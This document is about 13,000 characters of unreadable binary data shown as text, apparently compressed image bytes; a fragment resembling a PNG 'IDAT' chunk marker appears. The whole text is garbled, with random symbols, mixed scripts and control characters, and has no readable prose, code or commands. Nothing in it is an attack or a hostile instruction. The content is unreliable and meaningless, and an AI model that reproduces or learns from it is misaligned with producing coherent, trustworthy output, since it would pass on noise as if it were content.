lD)y<^pM[NBx+,}7n!Z<jq?,Q۲Oe@b	`fNMh~n5bYO
uo#H~R-dc?ם92㝭
/6`E?C&q~`ʹZi
olasg:UwEw{<k?p_wVM==R汈w!c[qreoͧ~*
ļVP=h4.d\i|fb;$8+9|C`:}h<8[㚣
6߫>5!uWGz:zzu)OGBbԫ9<Y"s&C1!)e
ߟfg>+";]~;ÉL/֏G>ϓe:	~GZƬKkN>g?Y)m/DIZjw>ʼnkV&%߿V^Oȉ?hPrQ"Awkb0dhOJO3jbhCmF\UĈ>rqFIiZ2V59c^T8Wx=&H%hi'_=wwg<'932ٕuX'U?_;Q\_3.ݕ's98-oz4K?~WO4^Vo
ؕnwJuڢJ^doΌ(NtjlEOzEwXR7q\Z@zYtXVu	ifU#29?!غ>),C*K|
ٱ#N7E9}#uC^0p9#A#ŵ%kYnzN[x&{ɡޅoĻ6ʖSr]$`gBٞī~QpOé9cl5u,]w
 L޺s8xŚ$r5}vؑP=iń4/G,A,57!͎Yߤpr/yT{))yݩ:kHPKEU,iw=ԳET68@b"ٸJ0I}`J˴no`)9KaR
bjxxvz{!Dc odpGh8^8JA=gy>ʡx*H1oI/[(n.0|Gܟ'j{xD')leroՕ4.8DnDd=wAg!
!kI6cLJ۵NK7ih@[5x|_hHee蟦Y;;P$ܻl\6t·ݟ80TleVUmXo|Gy{.dVↆm֓ gv㻍7ՏGEkthNCW4!x7-Ob@ş[=0hNl}/'sR^acD_^c%/El42-IgoH9^2Si<z</v=7w;~qD|u@Ye8,EsMC\:w~QV_֌ }kq,p|<;Zi|k?C=+fZ(q6;|+q)ISѮ[4x=X:2ǹcumPy10+pQLYX芡#13xl[tY&LjoLVGQ|[Y(ic	ߦlL((A8֒4s ƺׂEG\'M
S|t(?X棥_VDdg<r(6tgәy-bi'mM~es" ^n=O~q8CdFG+bտ[?Z?(9L/a&QP_{^?prym2dL>[;	_%+9?9m\uO4%.r&yPӓ^Ϻ'rn||PӔ<!jLxl&'o
l;/ginKBL~2rOqi񩆔05\fή)ge<	VX㿼0s#G]gUGj޽NdGG+&~.tdghg*_Uh;1E4Z3;[>3i9{1SZHN%.d.S^rFa]mk1`w	yz]:wsV_ah_
T
!1`$uͿ<'	Ț~5X"֊#\$9(B8Kڙ|s]{Os2G֜e31i?`{½m?!$5t\7ϕx@VyԷćjR*fsq(`~utvʩFq	`e+) CH!#pAY;`1RjaB!cfzg
pR߶7-~U?Cő:6XhrTm2<^%
b&ya%oڝA|ʋGu0zgj؊`9떃v+57rᤎڹ_w)6@Hk:E}P&Mdd=
\Ё:xġ>V.1M!TP*vOVegpZʴ
PQhmxS5<X*
rA{3[2=>__?~嗟?~75l_?P?
p괶7Oh+Xl~'`*o؎:bs`W(AK@9_yԦ9j@0ɀaAxp'i$Cg|AhfBn0,?_yG4[i7	ޥ
f!bK}\{{R0$<6}A$3MD+Px-hw ؚۑөm$8Y#:jF}<:(Q60ΑL,:8
!N`cWbMXTxDZfHڡ(y1
#d6uoFsW1!VHGxc
*Mx(Z,DūvŵIs~04.$0b|8$P-~`[[#cWp^XZF
>ןCT[g\Us%%k?4;Y[gg!ws=wh;SHӵ$lUݭV
o*Ɵ
k9;\NzL|hm)# ])cY?9{·rcoL\w$Iܿ|i~Zmy/yr8f93_kd9}iЖvFo֪GW@oĪfUf	g>(湆dcF0۽?Z呿LfpN}dt0dl|PH)D;ü.31Td|F:5c/5KLMsT6b
G5a[s>'A۸Kۂ:T}_7+9La?xiҮy-;>AIƪ#q//8*sgʻ`;Y+c|{X!uTʏ]g&xiصbPnQվYcj-b/kG*=?.ɞ7yCmkK[Uc1%~_Ja&2w@m"M#M7|pќ=("}3eitb3Fa?蟀6~/ӜwM=?wop
bn15i#Vˎ$o,{լTv	"@hocךSN|_CrtYo;ReF967Sr`/U%`&3KJdouq17Y5_.br1<9=5c&>H4B{1|E1'ƗGJ^/8J9ľS?xDՒ1K$Km^Yʥ &?ƽO(5"q
`?q-38.g0X6›Ę9'4(YWS[Cp^N|r
bN|R<vo{	<:̴o/Q0GS!_Cv[,W%[%f1q46bX#@%ԟrlѯd`%cFo"0`fs	f|BvVn	䷚ьᅋvZZ^Ym#.맽t49zy6oc˜ݏdn'kv"IbHӾ9O;(mX,=o<9»!R+'2nxW(OZA1Ͻz9gPz|df'u{{{Z!y.2욧ҦL'N@Ǿg;+1ۻ|C|լoъs>?TrZfvZdAzl*k.BscR8%JGkISN[>:^Κǵ|@AZk5YZ>̊]rs<K秲<6=<<=!XxIDǽ;b2[x\^xg\b\k&?1Y43ǣ}qUIsȞ'S4)[L1}~^1t\*sd^ޑUr<T/qKFIjm+*~Cp7ލ_ܽ
,Ir7إZ3]B<t\/BOdVuɨ꽮̌pY,gOLtVuH=-~W^=8~f)ض9~_O߆Ͽ_KOGڶhL.{4#$I1>
ϭeO&qKys&6 sJ`/2<Y&;@v3–b%>wcp!K캩bjVU+Ve'2'vt^BOjݞT3g~j&,NNz`6S|[r]^)Ok#n*G9Fg맼๎2SRP];:|i/}>j@ӌr GϼҐ׷	=>wq.bIoN}jw>sffOp.=NX/~.7㗏zJ*C,Zqr
?~5GmJ4w44-iZ(MgJ^p)8KqĥG}ש>?5៫ހ<LkLڽ@&.~)_M\׀AQJYlΠ+FS\Š[|^Wa})Br#^i7ߑIL]x[̝5:ܲ47e6z/Ŀ`.龂q=ǧg-}4:KMvtƆ#2
gq)"w.{*y4:bi	݀cۤ$=w]8g{i%^~m=ܿ1W}[sgvbU.CY
s=ϳ#UiixfҚdy>cD8M}mH:؞CleD
,-BC6ތ&\0,[
@CE\6Fv"C؞{N>τ{s;[b}G"
\.}.uQsW.?,]ʮLeXI7׾GIcQYfSӓ5C~zw6l)l|%:-KJL/$(ϵ6^]\ᣨ`V	pNOO>FxϽu}K
c/?$πpE|T;+t'2Pye|8z'-x$wFo0<xSK/TIu\>+-afD3FOb5k4<"SO\
]Cy@x
=U.oLQ`0ҟo_F[j/,eBksOF
٩xSN/r/_O_?o|叿??寑ckv[r!5Xc	1_q=IyTjrno5M,L$Dt!
QL¼RVVgUtXف8]!yIVs4KU駘gŐNAké|=PֻWȑ\]XSꛤ'
=Nz%:?:I#r,4%8鞯U?0gURv9k~Z`Z+LU5_31	Ls%=	4u][?iLz%%Ш՚ 
oW9@sPf]ٵY7]XHWsJ}s?[TV<ß8, 6W$98&!LG*2#2??߱/R[^vgN_91ug({zn2ne-sx;޽Ϯ?V)a?\$x=l9#9
9,~ޱ;"zJY+Ɯm<ض;O6K|z߹֩Sw`-mo⟅oysb(}{Q|n
yCf#r?^mvqwN"))㌟~Wt^o럟czNҶIבV(A+瑠9b;vy^GTѼ4v~ujE󻪽	d6O=ozɿ1Qڮm{!q)%00GQAhr\f&3+ga9fO)lp'ܶk/?VgU}pl*mGS@Xjfcutg
k޿QԽٷžQ{y-պYFV(Yui"Qcm_iҽ[N)`'Dcj\/0w͜Cfѯ̩F@WI:;~F3˯CH5 ;^C\mup+-餌<WuiSi_:25;R.,55Cz7v4k85upjUU[njV{9Nkkoj7o	Hσp:~Z2[B&0k7!ϩß:lڑ9liMr3[W}QGr>3
a*>?xm96CLl)w0`	B+"#WO87ܗxkK\zp#J4lֱ›/t6&Xv6Ix_˫1JWq+zÄw??~_w`@g[*WWP9|WAW+h':/&ZKMgD]{~D!ίZ9eUFpSꑟDĪkO_ș}kZ:D4M|k񐽖#q}oC^sKE̻}%wc~$r~_xWu"us|Z~l]<槷b^wfjn=U_B^TtjήrvJbuQ[-]y27f@t߳֫}2((~VveIϚX;Au7
s:8]OԡHgv!e!mÍ/]=گ;NxOˈP:|hH#kr]aDC[lr׵u|$
Ww}ƿH\,+Rܘ~?)z:=7ׄh¤r.:Hbn&/G?SR%.R6>q\\ڏy]^<3@͕2hC!K|'!<&{bތB}O>]Y֟:؏x-kR0t.aTyk=2oTjNܩ~	y,_]ơGɊOtc6W|>
ƽ_Ӟ˹ꑝ&	"jSs?[|__^@%w {=֋zg X"?>ϹO@}/hS~U1c1x_>B[)?2lto<M'7gŐ	x1՝؋<|ZVשBn.'4$e|7LҜ@
^WyizkQ
ט?uT.+J3//ԙ?3DOJOskǂ{yd$zdD&k`|sCzWpo1Zޖ.
q"n"yp_쟈]5`嚤Ԣ:/6A/k4G
_ϟTM*B=DZ)?g'J|Q?)zk%[ ~T}[.S:hs=w[r|t~g4q]^pP	j-DqUy9QyQdϷWؿ~"191[`y/Wj4{2"H0If@x,c졗,F}xƜe9%[q}oMQh!r\
+0Ώk6^p-	m`SQ*j??9JOpՀSa~ԳO?[cPA?\~Thا}9bj␩~}„T#pz}~"qf_%9yRi-[g;?hx΍W#1v-+ٙtOap#yOx#gIF;wQߜtC֬zMFt65-F(.E:E͇'oQKrTLB|omG7{&Wcvxխ"M{V6Ldbg£>\	%.?'a?k%1ϳD_Q}O=puHϩ}?G)E_\%Tn+QU<#<Ҿ	sUp	?얕Dr}?9Ln?,6Z[cŸgjޗx<Ϩf! IYpO9]s{8I	II>]`[*M'5`*-!~T$|W@S_BLUdnQ 0ъ}sxcV1WǛQo|#VCBwFc~ij/Q~$Us22A,,~ȅ&`=pRB1>>yS4ZmKҢDFW?Gac;^:Oqj$7 iY"1'>|pH!^翀HmĞBn؍f=tK5O̺_\$n=WyU(%K/Y<Oj'v[e":\oasKߓ7e#^]K	oAhn/5	x&`qU4w~2`~QZߟQlR{Φ!M􋿓r
Thrm"
	G֟?qY᫏ZG]lWDS<ZH3Uuy~	0s0*\M.wsRgv_]㠜oϸk|_rH|Fg75Y}`"{+6z"|J1wߕ}6Юꬭ?{՞X4>IV|`C",ʑ80Ũ2df&0'vK??)WNhn!5Ŗg\YlN{ԷY3E]W|4OJL>7vSu9y.uX$Tڝ^A#Aj4(Ip$l@­{>MBCeHl&LpeS׳W.ޔʓ{K|q;e&~xV~܍~hI{Z;}\Yx0^_TFu~?ǕmjP@+lXNRP㩯N# QB].}3g@,9rűbşi6jƀOpi1/lۏb8sMn0)Q-Ӧ]b*ڔѵ9
i?$o0O9aK`M
srGA|_|&N-u6S?G'v`s8wڮpċI%c{vG]PyAJOj4++2WnuToX{̞EEY[#yOO
vsT}i=h쩃·ړmg5}MZCl*7YOp%߿X?ղ*w{qQQ\_rsY?
!X>d/<m.e\sUum>^RAT#z<{?)NbpgW$U#x=Ӻs6,0.
h'/R[P8߄U#2WM@|%p40Ң!/*;/oGrb/l|4I/ح1	??WG`6Zô-#fTyV̂U]"&Rn<$ͩIJﺐ
=fuGh2&8ꩅI*ߙĆD!Wh7:Y̶YOPM^od/,g|;H/zՙs~+K9$7}
s0V5V0YQ(R2z	
p)@`lt^g `|9г'?ꐇT1?hv~ 	Ҳ1sDu-^.d&h}jR1B40O]碾(#o~O5?],peGAZ]+80Us'xۃKNrk-Xz
DVm_
j2	I$(@]gCOpνOȀelr3O;Xr\YSDĖ)$19Zχ9Oi9G3!‘s1;y+ >"<?ﳚq$p^wߟ-_N'#i.1`'?7ց
G5癅usVя:p,M,5eZۈLOtNgv<w@s\?-"j$&.\Yb_4q[Y~儛Ӗ“ىF="^~ql/[vWחvbQuhD*l<?G>ҝӪ,Q^/9\'uTg.9,qQ{_7ׯjYRSO~{&`Fr'&D]'[7.*Z̉wEwK/j΍	)8ݜBԷڋĉs$5WaG3?v|WJymxGOHIًtu]_{_Ul7\sp/Uy)yiLZԋwJ?ķKÿkvr=_ǞdƩaetxC"
US|Ut//&d©g\DOظgi[>$! bΗtiOx.Q_ *9<1elvzuH:7a1ƬԷ;
(K/Ӟ0M#=ȁkȉԚ^8 Ȫy}ҡULFQ<#KGyw<F;}E^SqF7<H`˂_Jj`,@N
S>W럹UgV"w(؋_	!gYbʲ?:ʼn}`8|$9r%.Zwƻ*?<l.חe[WٛcաRkf^G""	bc7Jj^u>)8tSAÒ^兯YE\?>D>{ŧ\d~jz/y> K)6'D(f|L{D|(x&N->e
u;Zt[ٝw`Njzz#(WSW+fj3k~f}	9py퉨+7}ֱbN>أnsO]{F
zJu{bmCPbFe;>	Lrg?Ww<<C`ȋl4ENhV??F=L#c]?P.]qll

O?{xk-o
w[t7z޿c4y,/=	+Eѝ?*97%]SƊY꽍JlGl67~@zC뵧>23o3ҧ*8{B7ވ>/=[:TeQqr~?8,r9[2@nn"b#Zzk<O |^-kiNa%xU>bNXuwr x#e]!/;s<y/1兗n|Q%ՉĊ9peZTH5ZQ}8Ƣ ܭa-&J1?'rĮٜ=c?k'_YOgl5qqp&{䏁BE jZsfLm~`E8vvgڸ+SLֺoKnzPת^]?iZĽ/_V9מa]69ܜaUIՇYx'௖gy?	$kh3q|>h>!rHRufm>utRdn99lOVUr\IQV&/N^8ȹcD=^8JdD:uOV4JՆHl𕶅5+N\T5jlW݉6s

#ipivWB
9gVpI";@}_0kڡ<OǾy^ug'f~(xGXq>W>7jw%E/B*TnL~iT,XM[(wO}N9p1U}`nLW\]hN\L>՝MW	ī5o8]iɨ
śY&Fx>ة{rj
s:f-UwQsփg.0%}w)
8/e7P]"O-:Y%yvGOs4{.9P
} HgyA9gG9
ğD9UG'2BpRiryސ>ݨbͽ8$ t7q\gW[G
0~?`?_vNBw=%#oq㲤鋽ק_	dXw	=Ps	B`^y?~^YBr:zAvWJP/ZDW>w@CGDfHd:~g]_}P?_O,}M	 3s/{6Ն=Sւ߹Wo{֙K`nzoU姿<8Vmo<V8F|[xͳRO}A.}5Bnf{9*>ߗv>q|Z~뷢V:?1;^MyxF㞚wy5?F*ߟ+,a6	S 7/Eg}2cnCo$/<P)%Am;z7=D\^e;n7yVsR
_5gsJk)*ԗn'\?	ܾ?Ufn'WSFYFc@#r69v|B?[Q7~#ɶO}?t9R6ߦV@
|'lѓ9797OmU(Zntjk4O50#/}N~_R%@IDAT;zR1Bًy<ĮԟK9<?ɇңaG/^;#x+^o=KA'UϙKW fϢyb=I\a3'pbٍf#KS鞿$|e/MI?1+pa?yמyxb+.U"?ݯ?]Gsuqґ-_	c7ylԗAyo~GSlP|`wߏ
:0kNjEGI^^)#w굾Cf95}{1(~D4c~!ůh+{{1ܪgwIZG,YG3yCA}%gƌ]K<=?%j'ǍX<`	`}V]yL_)ɥp_;=c#-#&S8ÜPW	t8gVÓ'^zs5zC@K|77>c?c[:=v1g}L+W굎fS?)}վ{W'scyD:lΞwB0<$3/1c^y4Vpol8xc}?X$Wc~p:tRJj汴˘QBeZ¸띿+m5G~@pzkg2a;rke09@}$\%?ZV5cmU1{L="[)L;<dgĺ|<?91[tFY$<\PH
C֚	t/|DRk;muzm)f-E}P֖tsh}{X䝭v~
F,E_pԪº~6t+K9xܗD]@Y-/DUY_޽j&R}t:ƓJ
uiO|+4"/iD-1pƯatW+6]EFl@壋jzoe+N(ЦMM]UuldX{ŗH\G߇|[s>	Wb}bL/ _Wꜞ=7#8V4!6a2G8X3> jlxPM-Th(b=n*T?\Di=M78|s:fo_?I91>9`Q"v.TcfM?pX;bT7jNQ+@-_s#9K.~O\]M/_@]Xw\>
L,Uwd>(aa|Y8{?_|oau.vD;jC|\tv<-	qgQ}G7r>ꀶ6ہê?15Gpr:|+Vj-I/!	==[垟Kw~h%jwQc*Gzx }Vz`sԜS0`燸Bsk)b\G__嚠;7SO	>^:%t>ak.ڎo(,j<k35q…˶c=7v}ԟ>iәlo`W
mB2ؓŽD'&~tn_c.ע7;#Sg'7DzS%q;wᄒ)XΨk5OsWn@C}s]y
&33G<Oobson<
Uln[UL;Ҕ˖bdi	:P߿H\hwHm-EJ֍䭠+q	Q<Ov Ac|ûG\Lf=VMM@z.5tftO֫.|G/8ѷYuିdN	.y0dܹ/cؙUoZo]U=?:[l><dvbQ*ΡO뀵Qӆ?ZC1L`kL۫$*̃<b51>\1=QW~!["\`N\ȯؑ.~/GQw}/l+rdHs<0!5<0\')wQମ3eKb]ɪ6\SP̟㲧
$ڳFPjGX`=qDL5֜BJp3FzcB[G![
W:Ef.jEK'Ho\+Œٺ1HÀ燇_J_ՍXSh#)śσK6i9"ފ5v(͓06tB#`bV(=4չ2uq~je-F)nZ'`[Ϩ-@xFU]5aOy76/T}V8Acs0NMεSBT`/
i+Rvk)Ǎ+`n&I9{iˏ!PW%Lm}X*Q^#Q{4
F/DlFyGM˩Ӭ_zV+	y |?N	Ί_|7tKTQ
_d{~\__^-<6xu60FYk-dǘ=3GȪgTyff5N$~df<.l:Fr&9L.{P3zϔ>lMS}O=P+aā?H-g8fi2eAeIH@}ʽ]ldح%jJ9G/⵪Ih\gޭ'Ul_pU
mˌb͋6^g1?MgM#lkOa[ gD&'G610j֑r(7U%E
%J
\)//jX55+߱ճٞ};x]uSlkJ'ϡTx|{ wmr_a}^j	fcsۇ*xcFu[{Z+V{}j;I9:>ߍْ}F>$jo}~5jQ=Zs5H=7Wv.jU:ǿy~Ƨf]1T&_͟OMV< (tIȬv1dKTƇBԮW=ů.:w")齊߭aqT]%ϯ)
4G@5B=>gDR8NL}nriMsʂjȐġX"O*:^
D:UKgx{]Q~7nF(zPƖ+QjOp.>wFzM_ǡ^Og^GGW
9. ~M}]wɭIȷWreY$+WӣTe7ռ+,n.6ٗ2U!hdgcPwpT޳tjE/ã8CcF+_וh+%XVb#9+_O(J6,G[U[	#RBsZq1 &Q?`ru픣W7]nX'BBx'Xs+_FG1Vͯ}4U	-?Qs94~/ĶWB߮Hso
;"aO;D\O
.ys8_o=|_&75	X̿߿"u73ejI}<yO}-%KUWE$R=ӿdA\7n_͟7}~b7_MӢ5
d/_ғ?	bwY=|t&@Lߢ[xW^M`dļ{uMH==0zt
RUIB<P>?Kbq^?ƫM\.eC'>sޣ]>Pi3O>I9A/_g|~`s.kH*PfkO$b`%uYK4uyefۋ{ǣOLxVJآ%1O}r齃̎O7Gt
#!l}b:/<6X˓X»VE͇+~a2@0I46r*Uͮ2e
Ar&Y&@?(nK'+E<B	X`HgF!×rs~+p֌v5%^`u;7a)ϻ93ʱѕ!Hsx]HzQE]Oέ.t7L5ZVGk(wp-3(ʟ$8gVORsV{sNe~<?j МF_
OeCK/MHlN?^w{S.sH @,nn@AoDه"|KP-VYş@Wg~%saʓھ>33	?}~IZ-5jOuc:PNz䁘oG_
bD=2G̈́ӄ&Ky9AWbʨlmZSažr{H
*CʫYs!5O]ƧB޽C&.-g@g0ߑ\7scro?~>RIY47+g4ϳx1g:mڇ5>uHˏi#앓iWy=<^?-e-|l3Al$3CoI{ׂw#
df2$;c~B>Ň\??Fxt^jfp")RS"^Ic{]Jdxq;9	!oGC}r?F\
SsxKkt
}Ub[w\
ݧȪx<Wsj/sɕ=lS笭l؊l|b"7nA`3fB{|`4ƍ+~~xts@;p:sڸ°?u9_0f?s=}waʯ
ܰ-䃞ˤ3׶މsB8𩳃

J~5EHuqwV~}ƐNq{rĸsskۘĽ0VWs	w]dTryk,ǘ|H>c$+s(OϢ8!ep罘	Y;1wu"<͂t!U.{/xY'F	%LYϵ(HqOɮFO%q?pfEϹ}56]O}zۗ0;=112 Ŷ[64SP9ߞY\2zT2祖[^o{Y
535|/εUo?.Kfs-'Ҭ}.˫XL/7?ïߙURʃ:/4870<΂yNĹ"Ü+W̽N6Uߑs/Ro36>~M#튧g4dLS1bw^BVs
:=-M~g?BMټQǾ&=UÄtyѡ!_:"T\^e+eǰ¿Onh5HBKD/ٻ+I-]tL&$UkQ]"JeEMv\}=x<?TW\Og
q+4(OmRT9zo~zǓ.Q[dǣ{ֵ~Yȯ׋<iO/:8
NpUsu^[|t,%]m37YaFsP}p
JfL5aӜہ[L,Xmb}'sZ瞟f#]Юx'Xuyog{jM}w`Q1Qh_}5`KY`ZyH r_'NWo4asG*u|F1i^:7sEGZwվH<w>y;߄s&;h/[7;%NIa%` <;틚p8qT
hj#v8IDBDPOJ}vGAN:JΞ^*Gsǥyјsٳ,F3,u3[lj!<Wsv)*r1 ytχK3yS~g5omU0zj5'(rλK-~;KbG"ڟ%`G1o-AAAwͧO\RUQzg~Vtn0$̴؞W{$l\WLpຓr|;(PɵL'Zb>
uAZo;$T]2q:hklzc1~e_jeTdf8BOlfODgk~ꔌ+&_P\l+4zZuidVͨ_\TnC8^FRBJ+_ y>*\{"_|D{ҩy\
Nxn?ZPFބmwT5l>9[/g^WaXYVigkㄶI	nޘp6}SI)|W:2^/~(?7%zyj&0EAsװwAbRna@Q9_=<U?
mRXb^q<@.46rJڔ|Uǁt%սlKBSbڳ髺yVY]24ЙY}'kz,maeu֚2
?7Sڽ~}zVhM-!k~WsS>,	}}"wѸ~%/;p{[\owo~|pRlWs@}{]t
}~O͇B.M+v:ηPC}䬝%f֏g_ݖ
~߼ 5}&>fbWnqk_vWnR~
TW]&&Y)1ܕF֏TW*];[<{=qg~zNWc=W'PL:k@5f'TѮӋ{Lnv޹:GتW_.Bk8gQZ'$zӬ\{Pc7k'gUWsK~JLt;sg{.N+S){?8#N~{On߻sSVyމ;}Oz=rW]+Oyߜ~=?C'UܮU"1{6Ig6Gۿi+={!.+9+y|AwY_Z#Q~G>d~6f7oO,=rɧm<<b4̷hRUYZKqrΟ
Okw]68յ珽qv9f>|w}(x5],9_M7}<ֿ|(ĥѺDy7gdQUDSO궶r-{hZbUH+> -|DUWՆ
@ІgySW-?1OO_ʻ&1{?oG,K`n>M'kTøOA> \=?
j-^F;>Lk}#bt֜ޘ 'E샀-hVQowh/I
b
Ym
L
`BdT̟*|Do<>X[='XO[+EQsW)gˋj?Z821Ϟ<~,)ZJl0y8cǀؕYK4~c?h+g'8P>ߚC'լ9Mޟ!<3w=%>boL u.?Y[#D5IT-'%f(g\]ZvϠwa\W;+eG~ޖqO
YNw=VxL%ŦQ -56|qjg`,hMA΅Cw=lW#B|I
}::YӼ3f5Z|@{!gYj54
>c?щMWci92wHkLJ)rʵ>ZK|jnȪyǣ{Py@ԫ%<yAz1VsW`rl=#5 tOܙٽ7ӞdLku/ZDE{csj>7=n,m)3/ɔ9)ɇY1]6y]F+b/Ty6Β뤊UiF#g·ʡ~jNZ.2@FyLۿ56^-_\dGo'D7z[-0*tl(rtO`Y~v N^uϾc[`]?GQmjꩻm:*f'N@qUz#*l`2!X
;uqc'nm|TZ[Y[/7,|(y[G/VH`!HK{A
Σ~U\k~᫪g+/:ӯ:
iNg>k?5y7녽1띓/d;/!/_<M`GK.7gJGJw}sG|U䧵YF{7.)O+~/[Ct\
j]/nb~fKDM0kn\9)bKKxlO|sxw!a?R_<*f,Ei̖(V_/֑_quNؚ0}	:|wb-.~|s<zUrypg8ӽ.>}'sg,LsO[ς巖H[r!US3#QVؙ
rⲄۻ¼d]Tn`C#78s#g[w%D-7{
Gd^ݴz69)
ej|W2w}ۻgq#
NRԠ	Rwۄ}&O/*mS@o[8GG@[V
LDzgnCJ'rğ
 t⩬_/syޡG{pydS%r wuH)>vyo-p	f;|뉐E'.zm,be(٫vjfi/МER|^bT#.Nwǝ'E;lc"8_>svg$w8V(	grSC2Υ>8k#3*RߙW@9S'hAd/}]u'34\ui~wnx'䲟,Ie'>4
~,sIN^??(?Gߙ1~3#mzfO?>?Qy2y"ky.ګܒ'fO(8-Py<m
3&Y)7{vxɁEfsS?y.אo/|jV	qRG{[^ ̥<lN1mZ{ԹR-b9V><K@J5/&mOR~{@spz61W3d2踗x"`hK\#2 kgduVɻͅ܄x_1_8>?'[3{yڳhjR	3E&D	.A"Mj|E,y*`%f;me/Qq}._廷l_kgs;2âpYx]Ҙ,kS<q={Ts^̵:m=2g',7p6 SOs:;FxgM}fmMjNgYCX'\b13ڿ~ֿx*>lj	9ٌh#)>AIOjGʌ'J9ש|K<{1T2w'GB2:Cq0;Hi eVܫf$[F2p2@apA9/\3&`5BT
?ù/71RkD!x=jUUU0][n7cOǸo:1Ȯ.%4kϾ/?/ܵTLe)J^L}|Y.?yG
|_x7[i}nD
^ZPqus@6PWs~)Z϶V<Y12Zg뺶lsyh}~~zT.?u9^G(U]>{V3LPjVAjEρjj>^oE/Oʷƒ翫!~~?`.o(<s5|p7;DZ$=]kk|nw?\:T꼑1)}z|NvɌ8Yj^;+b+s~iY
sku>^ijGm.RM<%.[ z,Zb{w֔?ֽms|&s5.	jo:M==9(~7+_Y^Xgbv׼&y@+DNH@gkswѯ2]DxERE~F3/_.]ǛjMNw~ir
̹SB
<3Fth1o[:gQj',4)e'Xmgyz:W@Mx,Gc?uܫ_k5gKomx3˿ܦ{m"IjLH&u@a|>f	GۘF~W|s8,hPZq]
fWSIFyΌ@Sʛ֐U0V3Խ|TyH3`4{0,=z<E[ njݳo יG_UԄr)z,M?џC{Ldf-ߏ }вq[IVwԾJz^} M	t6W<Ypz{̙7wCP}+At^۬M+@;AZA$}vHՄF?1wW_s׻I8\8-uݼf qGmu`Whu!_q|vG+n{{WЊOQ>.|%R?W/[M*e9'ow:wsf1dWs*/O`_*~3|EVS5^{uGto\KT]UeوH(D/;4(gzdT);M\^>~<os4
hӀcÚtӘ7`[9VܙGBйϥZv:̋5?ύSO/r'h(zƖ-8Z9U3':+QD\yhk'q^W:Nz+7\*-];~8}dW}ORv*#~"ȭ=F$8YS(o9_E#{01Gvur4}i-WԩgRހW1hK~gf̳yUc'Qe?!]7{
_stfM_9ML{sLMAdhYq`$3+r៕wsQ#%3aZ_h૾iRǽ.
rɹ~d?ʕ0Ό<=Of ˟}$3X='=NֺT)~N5lW='Gap*zi8^MYH-?w6=1Ky,7g^'hLURV--]Z{BIo!Ux,u\u:O	T}Wu8joVdk5?@Ky_]D*L.|^l!,gcf<!8E}Ҍ>}J[[Oe\
^rFSf
S7ޏD$0{U
Ͽ>H#{S7	(ZS[i]mGOJ{?HuΖ |f7K>GMK<yXv(g.ןku؋x/C8Ǯ25tQ{/µzj<0fCREp5`ӛY۸XqG

=Z+iJa؍{ww}G'aw10Iu0IFQZ~r
f@g- kğ'഼FƄBl'%Qג/$qJw㢪Z
\'?4A/JlSJ̮+0Th.tr"nx{ٽRmK+LմzeiwUmYu<I@;1X|ԧz<ps1P,.ybZ@f[B>[K\t{qQfP\}?sߤ5tf
V.&P*:^`"gQ0w6X$qx^y
^d|̪{&Y]	DwNҀ9֤!G}p%|&>wPO-qݿ;G$`o魻"p\oWi*pz)('οS0c5XGvy~PӪyn֌O~Xp+oHN^$`,Tq]IR.DR\O1'j|Mxr?rC#vqΥ7LgF;^ǃ\)ȣIT_.^?\-sM{~`056M0ފL8k[X?+cm/5(tx?5uݚd4?:|o>?S0ո5@B;e;Ο/p({0vO|N)Ӿ^53lLw+۫nLq	Tc1%*3jg"X:ʼn߸3rd.Q=aĤùZ?T}\E)e~r#Ht{Eevتoºg.;K5/ɛIlOEJ
cpNrVTs@'U[t᳗0FX"HoY',Y̟ro<ZɃwΥhZ,n9?db~WP1+:̊NM\{z[7II"Mu)A)
G
 \`:Vx\f0Utú|苟oN7a.I_看#%ݣ&2W'tpo! J	Ν:%PrO曑ΨobμPZIAoNЃKCs	 G^#vVMycc;EsZ2Q;36/0Ԍj79W9EXqaϼh@勬s5bC̊SrֽAa6غ
j0)V}]8l.$|κ.T{a[*!_AA|&%{f94k\_^)秘?vwE+_an	\	|AK:<Sh޺=P/~!`j'/ة=9|jmF˿3}ii]gcʏ#Mv\>xf:s,;|\6/f/tsU*aR
0yokTRc
!O:ԏ{3_GCA	`XLl?RԤO5@f8km
M(\yY߼S?wc4<p9C擳V !O̟?4Ҳ7|$Q _sl>k~=_h#=+O؟OaW)F3a(g[}rΥډct
}}Wd#mNwrNۑm_>$D̔*CMr&OF:_sz1{GG?~;D:ÿazF	U;*s)|3$zUWPK.4OF>Trg~P~t~>~RQN[-ݿM_牫~ʔρ_z2#yœk1xcgA`4ϖKl<?<_=+}sB`'W%[j_b\?Omj`wz&}Sxoa+
߆Cr{~:$p>NMhjc~q=sMc}W&7VeߞXG㚧=8Uĺ:0S|ғ+H2>b$[?s೑DKOV&
OT5뚙(JԄp E>#cOH;8fXj(Gq|ړzP30zz›o{;yrɓ;vvn:SG?zDtєmr7þS{߬/@<_*+ٰ$-y.Qrlr|Ĉە?o~:?/~$dB9<D5B1g.5nNKHȽ8
F/2=v	=`jDWg3}EHLIgrz%,.f>X'rg	XkAՐ`PZUu{/10s_up}PxY!௚?3P	]EjrIʔħ'؍?ؓV(#2L}nW/
d0YK@IDAT=?ZOcH)
x:^1Lزwl,g}הZ5!Gxh~_w\ZlTMoTӿ|?_~?1qr#ݞɎs'l8͗>//Zc,|p`Wg}ϏRf6h+zHjRIΚe/p!Wh'OGol-<wJƃ?u{E"ƾ9Uw73pGIMf2Hc4ДK.GZ:}Y=F^)Gl%A.,?K4egv4{)ҿJ_ؿw*K^7?x~LK3ɋw*eW#Zh(NL~`kOG{
-C	G.VLW.։YŦ%~.ϪA#,f>Ѕ_T*q'1=ͳ&M@p8
q{?[}Vy6щ빀IWvghDTWӢa3L 
ֆꀒ-gU/6b1c@mbhj`2&I7JJ>O}u4x>XoMj#YCqUXy>Ę?| Z{P7V7VRU3P.Fc5V9lpN%4Z]C# P.~(V
z	D3I4@LU8uU5QXg#^LZNiI_;[elG6B>?.)EuSX}A;@vs/eޟ<V??5mSg*SحpK`R3zA䊫cpR5G^W9Tyi~u~vm9ួ-~4ty8&"--"(H9#I?.15%,
Q`Au>+ˆs+oWj,_('L-.M;䦁DNqԁ'KO
